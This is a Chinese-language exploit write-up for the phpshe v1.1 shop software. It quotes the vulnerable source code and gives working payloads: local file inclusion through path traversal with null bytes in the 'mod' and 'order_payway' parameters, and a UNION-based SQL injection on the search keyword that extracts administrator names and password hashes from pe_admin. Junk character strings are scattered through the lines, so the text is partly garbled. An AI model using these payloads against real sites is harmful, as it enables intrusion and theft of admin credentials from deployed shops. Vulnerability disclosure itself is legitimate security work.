phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
6 Q! M$ y" a0 X/* ========================
/* By: : Kn1f3
: h6 t( G, d" g& w; @& ]: J3 {) A/* E-Mail : 681796@qq.com
/*******************************************************/
* B+ t: V' a* e/ A0×00 整体大概参数传输

$ ]5 r" a3 h2 Z

, }; H# v5 ~" S7 ]0 y//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
- S/ a% t0 D' R2 r' x/ g4 F!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
1 p1 u2 \4 A+ J9 i$ u!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
! Y4 t! d0 _4 Y!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
3 r/ i4 C. O/ x& t5 t, w
0×01 包含漏洞


//首页文件
5 f2 n- i0 H. h  W  B1 v<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
7 ?( ]+ T8 a1 J% Linclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
1 n: Q5 G) H- S( Q4 Npe_result();
?>
//common 文件 第15行开始
url路由配置
6 {: R# e& x: f: a& l5 e7 f$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
4 K8 t( u! a* |/ O4 m8 P$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

6 A: Z  d7 s2 c9 j3 C8 N1 [ 0×02 搜索注入
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<code id="code2">

//product.php文件
6 \9 ?" X& g8 k6 x3 Mcase 'list':
$category_id = intval($id);
' O3 M: P  r' X0 [$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
% t3 r2 d. R1 F; `$sqlwhere = " and `product_state` = 1";
, u+ @+ S5 T/ v- o) _pe_lead('hook/category.hook.php');
+ w$ t$ x. |8 z# b' X: W- ?if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
# A4 U, P9 S' Z+ F3 d2 \}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
. @* n5 J/ J3 }& }" ]. U}
else {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
3 ?" j' N# `, a6 Q# E/ I) V1 g& ]//热卖排行
& k9 S1 t9 w. ~& P  I$product_hotlist = product_hotlist();
, `7 c+ w! B; l# ~8 T- Y# e//当前路径
2 H* r5 h9 o2 |" m$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
: F: X' I: f9 x3 b/ e& g* r9 `include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
2 ~* \/ ~$ b# {1 V) n: n2 }2 c
0×03 包含漏洞2
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4 y6 y3 |6 z: R, x" p<code id="code3">

//order.php

case 'pay':

6 F% m8 Y! Y8 p3 V( l$order_id = pe_dbhold($_g_id);

1 R0 S1 \4 G3 r- v8 T$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

9 D9 f8 M9 @  s# @+ a" T: _$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

6 N  ^5 T! [" d( h( Vif ($k == 'bank') {

/ m& u& m" ^, o. t' M" q$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

4 E. O' u+ X4 p8 w, ^9 ]  m) c}

' T9 Q! q7 \0 K- X" |; l$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

4 D7 z& ^; F0 T" y* F6 H' v, Q!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

' E# }. {: b( vif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

3 O' W- a8 r! c# _4 L7 oforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
) W0 o  U2 l. {2 k" u- P5 W4 \. g

}

echo '正在为您连接支付网站，请稍后...';

0 L; T  z/ K$ G7 }9 o* m- @) Minclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

$ b+ l2 M( `) C) Y5 F}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

% U) ^4 ~8 c+ t7 i3 Wpe_error('支付错误...');

; N3 i% D9 G7 d4 }}

2 x8 t( k8 M$ c; m' d6 ]6 K7 @3 G}

$seo = pe_seo('选择支付方式');

. }% G* f) e% d& h6 `include(pe_tpl('order_pay.html'));

8 d# X, C) z/ L  |- pbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>